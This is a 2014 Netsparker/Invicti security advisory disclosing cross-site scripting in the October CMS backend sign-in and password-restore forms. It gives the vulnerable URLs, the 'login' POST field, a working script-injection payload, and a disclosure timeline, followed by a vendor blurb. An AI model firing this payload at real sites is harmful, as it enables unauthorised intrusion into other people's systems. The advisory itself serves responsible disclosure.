XSS Vulnerability in October CMS
Information
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in October CMS
Software: October CMS and possibly below.
Vendor Homepage: https://octobercms.com/
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-024
Description
October is a free, open-source, self-hosted CMS platform based on the Laravel PHP Framework. It allows developers to have full self-expression and the freedom to build web applications however they want.
Details
October CMS is affected by XSS vulnerability.
October CMS PoC urls are as follows:
- Cross-site Scripting
http://site/backend/backend/auth/signin– (POST, fields: login)'"--></style></scRipt><scRipt>alert(0x000041)</scRipt>http://site/backend/backend/auth/restore– (POST, fields: login)'"--></style></scRipt><scRipt>alert(0x000041)</scRipt>
Learn more about Cross-site Scripting vulnerabilities:
Solution
Advisory Timeline
20/05/2014 – First Contact
10/06/2014 – Second Contact
11/06/2014 – Vulnerability fixed
03/07/2014 – Advisory released
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
About Invicti
Invicti® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it’s the first and the only False Positive Free web application security scanner.
